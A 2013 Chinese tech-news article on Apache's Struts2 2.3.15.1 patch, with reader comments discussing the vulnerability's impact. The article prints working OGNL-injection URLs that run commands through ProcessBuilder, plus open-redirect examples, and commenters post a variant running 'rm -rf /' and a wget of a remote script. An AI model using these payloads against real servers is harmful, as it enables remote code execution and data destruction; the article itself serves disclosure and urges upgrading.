资讯频道 → 企业架构
阅读更多

39顶
4踩

企业架构

原创新闻 Struts2被曝重要漏洞，波及全系版本

2013-07-17 11:31 by 副主编 wangguo 评论(59) 有77652人浏览
Struts Apache SSH Java 框架

声明：ITeye资讯文章的版权属于ITeye网站所有，严禁任何网站转载本文，否则必将追究法律责任！

Apache Struts团队6月底发布了Struts 2.3.15版本，由于该版本被发现存在重要的安全漏洞，因此该团队今天发布了Struts 2.3.15.1安全更新版本。



该版本修复的主要安全漏洞如下：

1.  通过在参数前面加上“action:”/“redirect:”/“redirectAction:”前缀，以实现远程代码执行，如下： 

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}





2.  通过在参数前面加上“redirect:”/“redirectAction:”前缀，以实现开放式重定向，如下： 

http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/

http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23




详细漏洞信息：

建议开发者将所有Struts 2应用程序升级至最新版本。

如果你从其他分支迁移至2.3.x分支，需要注意，该分支最低要求Servlet API 2.4、JSP API 2.0和Java 5。

下载地址：http://struts.apache.org/
  • 大小: 8.7 KB
  • 大小: 51.3 KB
  • 大小: 107.5 KB
  • 大小: 101.3 KB
39
顶
4
踩
评论 共 59 条 请登录后发表评论
19 楼 yixiandave 2013-07-18 16:16
我能执行shell命令 你说危害严重不
sweat89 写道


如果是怕通过 http 方式执行 shell 而认为这个漏洞很可怕，那么我并不这样认为。我不用 root 用户来启动 web 容器，而会用普通用户来启动。我只会给这个普通用户访问 web 应用程序的只读权限，其它目录不给任何权限。那么，rm -rf / 就根本没法执行了。

由于我孤陋寡闻，我并不了解这次的漏洞到底会对服务器造成何种致命的影响。

wget http://xxx.com/xxx.sh
然后就可以干很多奇怪的事情了
哪怕没有权限执行一个poweroff或者reboot也可以玩的吧
18 楼 hamber 2013-07-18 16:04
为什么我做第一个action的实验不成功能？谁能给个成功的注入URL啊，
17 楼 aegean008 2013-07-18 15:35
安全漏洞还真是麻烦。
内网系统还好，公网就麻烦了
16 楼 zachary.guo 2013-07-18 15:18
我能执行shell命令 你说危害严重不

如果是怕通过 http 方式执行 shell 而认为这个漏洞很可怕，那么我并不这样认为。我不用 root 用户来启动 web 容器，而会用普通用户来启动。我只会给这个普通用户访问 web 应用程序的只读权限，其它目录不给任何权限。那么，rm -rf / 就根本没法执行了。

由于我孤陋寡闻，我并不了解这次的漏洞到底会对服务器造成何种致命的影响。
15 楼 yixiandave 2013-07-18 15:06
mlw2000 写道
sweat89 写道
sweat89 写道
谁解释下这个漏洞啊，没感觉有什么危害啊

不就直接跳转了么

可以远程在服务器任意代码，例如：
http://host//save.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'rm','-rf','/'})).start()}


吓尿。。。
14 楼 ahack 2013-07-18 14:01
我的文章上首页了....
13 楼 814687491 2013-07-18 13:25
什么时候能出一个安全的版本啊！
12 楼 Road 2013-07-18 13:12
我能执行shell命令 你说危害严重不
sweat89 写道
sweat89 写道
sweat89 写道
谁解释下这个漏洞啊，没感觉有什么危害啊

不就直接跳转了么

哦，，开放式重定向攻击

11 楼 actionabc 2013-07-18 11:16
Struts2漏洞无穷无尽啊，刚升级到2.3.14又来……
无力吐槽
10 楼 神之小丑 2013-07-18 10:42
这个 是影响到2.0的全部版本么？
9 楼 skmbw 2013-07-18 09:44
mlw2000 写道
sweat89 写道
sweat89 写道
谁解释下这个漏洞啊，没感觉有什么危害啊

不就直接跳转了么

可以远程在服务器任意代码，例如：
http://host//save.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'rm','-rf','/'})).start()}


1、重定向之后，应用会被堵死。
2、如果可以执行任意代码，又是另一个严重的问题。
8 楼 skmbw 2013-07-18 09:38
struts2的安全更新太多了
7 楼 mlw2000 2013-07-18 06:34
sweat89 写道
sweat89 写道
谁解释下这个漏洞啊，没感觉有什么危害啊

不就直接跳转了么

可以远程在服务器任意代码，例如：
http://host//save.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'rm','-rf','/'})).start()}

6 楼 sweat89 2013-07-17 21:47
sweat89 写道
sweat89 写道
谁解释下这个漏洞啊，没感觉有什么危害啊

不就直接跳转了么

哦，，开放式重定向攻击
5 楼 sweat89 2013-07-17 21:31
sweat89 写道
谁解释下这个漏洞啊，没感觉有什么危害啊

不就直接跳转了么
4 楼 sweat89 2013-07-17 21:30
谁解释下这个漏洞啊，没感觉有什么危害啊
3 楼 fair_jm 2013-07-17 13:46
xiaokang1582830 写道
才多长时间又测试出安全漏洞了，更新也太快了点吧

漏洞:http://zone.wooyun.org/content/5159
试了下基本补上了 我这边语句运行不了了 redirect也不会被运行了 差不多堵上了.
2 楼 perzer 2013-07-17 13:38
详见乌云说明：http://zone.wooyun.org/content/5159
1 楼 xiaokang1582830 2013-07-17 13:05
才多长时间又测试出安全漏洞了，更新也太快了点吧

发表评论

您还没有登录,请您登录后再发表评论

相关推荐

  • linux struts2漏洞,Struts2漏洞分析，漏洞波及全系版本

    Struts漏洞分析Apache Struts团队已经发布了Struts 2.3.15.1安全更新版本。在Struts2.3.15.1版本之前，存在着严重的安全漏洞，如果现在一些比较大的网站是用JAVA做的，没有把版本升级，还用的是Strtus2.3.15.1版本...

  • 如何探测类似Struts 2的安全漏洞？ JFrog Xray 帮你扫描漏洞，并阻止漏洞上线

    近期Struts 2的高危漏洞闹得沸沸扬扬，阿里云也发布了一则告警，提示 Struts 2存在高危漏洞，距离上一次 Struts2漏洞报出也就是半年前，于是我决定研究下漏洞形成的原理，后来的事实证明，收获不小！ ...

  • Struts2重要漏洞

    转载： Struts2被曝重要漏洞，波及全系版本 Apache Struts团队6月底发布了Struts 2.3.15版本，由于该版本被发现存在重要的安全漏洞，因此该团队今天发布了Struts 2.3.15.1安全更新版本。  该版本修复的...

  • struts2 漏洞分析 及解决办法

    1.讨论关于struts 安全问题。 2.黑客文化。 3.如何降低安全漏洞的出现。 4.忠告建议。 题记： 这篇文章本来很早应该和大家见面的，中间由于个人原因调整了系列文章发布时间，实属罪过。为了不误导...

  • struts2 最新漏洞 S2

    昨天struts2爆了一个好大的漏洞，用道哥的话来说就是：“今天下午整个中国的黑客圈像疯了一样开始利用这个漏洞黑网站...Struts2被曝重要漏洞，波及全系版本 官方描述： S2-016：https://cwiki.apache.org/conflu

  • 知道struts2-s2-016-s2-017漏洞之感

    当然这个漏洞应该波及了很多公司，Struts2的流通性太大了，导致很多人关注它，很多人都搞它，漏洞也发现得快，不过反过来想想，有这么多人关注，一点会很快的茁壮成长的吧。不过再这样一而再，再而三的来漏洞，大家...

  • struts2漏洞原理及解决办法

    Struts2被曝存在重大远程任意代码执行安全漏洞,影响Struts2全系版本。而对于此次堪比棱镜事件的危害,安全宝指出,众多大型互联网厂商均存在该漏洞,且影响厂商仍在扩大之中。同时漏洞利用代码已经被强化,可直接通过...

  • 程序世界系列之-struts2安全漏洞引发的安全杂谈（上）

    1.讨论关于struts 安全问题。 2.黑客文化。 3.如何降低安全漏洞的出现。 4.忠告建议。 题记： 这篇文章本来很早应该和大家见面的，中间由于个人原因调整了系列文章发布时间，实属罪过。为了不误导大众文章中间...

  • struts2 最新漏洞 S2-016、S2-017修补方案

    昨天struts2爆了一个好大的漏洞，用道哥的话来说就是：“今天下午整个中国的黑客圈像疯了一样开始利用这...Struts2被曝重要漏洞，波及全系版本 官方描述： S2-016：https://cwiki.apache.org/confluence/display/W...

  • 互联网惨遭Struts高危漏洞摧残

    从7.17号开始，乌云网(www.wooyun.org)开始爆各大网站的struts漏洞。 关于Struts Struts 框架是Apache基金会Jakarta项目组的一个 Open Source项目，它采用MVC模式，帮助 java 开发者利用J2EE开发Web...

  • 基于主从博弈的共享储能与综合能源微网优化运行研究：MATLAB与CPLEX实现

    内容概要：本文详细探讨了在主从博弈框架下，共享储能与综合能源微网的优化运行及其仿真复现。通过MATLAB和CPLEX的联合使用，展示了微网运营商和用户聚合商之间的动态博弈过程。上层模型关注微网运营商的定价策略，旨在最大化利润，考虑售电收益、储能运维成本等因素。下层模型则聚焦于用户聚合商的响应，根据电价调整电热负荷并参与共享储能调度。文中还介绍了电热耦合约束、充放电互斥约束等关键技术细节，并通过迭代博弈实现了策略更新。最终仿真结果显示，在引入电制热设备后，用户侧热负荷弹性提升，博弈收敛速度加快，达到双赢效果。 适合人群：从事能源系统优化、博弈论应用、MATLAB编程的研究人员和技术人员。 使用场景及目标：适用于希望深入了解主从博弈在综合能源系统中应用的学者和工程师。目标是掌握如何通过数学建模和编程实现复杂的能源系统优化，理解电热耦合机制和共享储能的作用。 其他说明：文章提供了详细的代码片段和仿真结果，帮助读者更好地理解和复现实验。此外，还讨论了一些常见的调试问题和解决方案，如约束冲突等。

  • 【基于矢量射线的衍射积分 （VRBDI）】基于矢量射线的衍射积分 （VRBDI） 和仿真工具附Matlab代码.rar

    1.版本：matlab2014/2019a/2024a 2.附赠案例数据可直接运行matlab程序。 3.代码特点：参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象：计算机，电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。

  • 【深度学习应用综述】多领域关键技术及应用场景汇总：从计算机视觉到金融风控的全面解析

    内容概要：深度学习在多个领域有着广泛应用。在计算机视觉方面，涵盖图像分类、目标检测、图像分割等任务，应用于自动驾驶、医疗影像分析等领域；在自然语言处理上，包括机器翻译、文本分类、文本生成等功能，服务于信息检索、内容创作等；语音识别与合成领域，实现了语音到文本的转换以及文本到语音的生成，推动了智能交互的发展；医疗领域，深度学习助力医学影像分析、疾病预测、个性化治疗及健康监测；金融领域，深度学习用于信用风险评估、欺诈检测、高频交易等，保障金融安全并优化投资策略；自动驾驶方面，环境感知与决策控制系统确保车辆安全行驶；娱乐与媒体领域，个性化推荐和内容生成提升了用户体验；工业与制造业中，质量检测和预测性维护提高了生产效率和产品质量。 适合人群：对深度学习及其应用感兴趣的初学者、研究人员以及相关领域的从业者。 使用场景及目标：帮助读者全面了解深度学习在不同行业的具体应用场景，明确各领域中深度学习解决的实际问题，为后续深入研究或项目实施提供方向指引。 其他说明：随着深度学习技术的持续进步，其应用范围也在不断扩大，文中提及的应用实例仅为当前主要成果展示，未来还有更多潜力待挖掘。

  • 【ARIMA-LSTM】合差分自回归移动平均方法-长短期记忆神经网络研究附Python代码.rar

    1.版本：matlab2014/2019a/2024a 2.附赠案例数据可直接运行matlab程序。 3.代码特点：参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象：计算机，电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。

  • 周梁伟-大模型在融合通信中的应用实践.pdf

    周梁伟-大模型在融合通信中的应用实践

  • 基于S7-200 PLC与组态王的花式喷泉控制系统设计及应用

    内容概要：本文详细介绍了利用西门子S7-200 PLC和组态王软件构建的一个花式喷泉控制系统的设计与实现。首先阐述了系统的硬件组成，包括三个环形喷泉组、七彩LED灯带以及功放喇叭等组件，并给出了详细的IO分配表。接着深入解析了关键的梯形图程序逻辑，如自动模式循环、灯光控制、喷泉舞步等部分的具体实现方法。此外，还分享了一些实际调试过程中遇到的问题及其解决方案，例如电源隔离、电磁干扰处理等。最后展示了组态王界面上生动有趣的动画效果设计思路。 适合人群：对PLC编程和工业自动化感兴趣的工程师和技术爱好者。 使用场景及目标：适用于需要设计类似互动娱乐设施的专业人士，旨在帮助他们掌握从硬件选型、程序编写到界面美化的完整流程，从而能够独立完成类似的工程项目。 其他说明：文中不仅提供了理论知识讲解，还包括了许多实践经验教训，对于初学者来说非常有价值。同时，作者还在系统中加入了一些趣味性的元素，如隐藏模式等，增加了项目的吸引力。

  • 基于COMSOL的电弧熔池多物理场耦合仿真技术详解

    内容概要：本文详细介绍了利用COMSOL进行电弧熔池多物理场耦合仿真的方法和技术要点。首先解释了电弧熔池的本质及其复杂性，然后依次讲解了几何建模、材料属性设置、求解器配置以及后处理等方面的具体步骤和注意事项。文中提供了大量实用的MATLAB、Java和Python代码片段，帮助用户更好地理解和应用相关技术。此外，作者分享了许多实践经验，如分阶段激活物理场、使用光滑过渡函数处理相变、优化网格划分等，强调了参数选择和边界条件设定的重要性。 适合人群：从事电弧熔池仿真研究的专业人士，尤其是有一定COMSOL使用经验的研究人员。 使用场景及目标：适用于需要精确模拟电弧熔池行为的研究项目，旨在提高仿真精度并减少计算时间。主要目标是掌握多物理场耦合仿真的关键技术，解决实际工程中遇到的问题。 其他说明：文章不仅提供了详细的理论指导，还包括许多实用的操作技巧和常见错误的解决方案，有助于读者快速上手并深入理解电弧熔池仿真的难点和重点。

  • 9f148310e17f2960fea3ff60af384a37_098bb292f553b9f4ff9c67367379fafd.png

    9f148310e17f2960fea3ff60af384a37_098bb292f553b9f4ff9c67367379fafd

Global site tag (gtag.js) - Google Analytics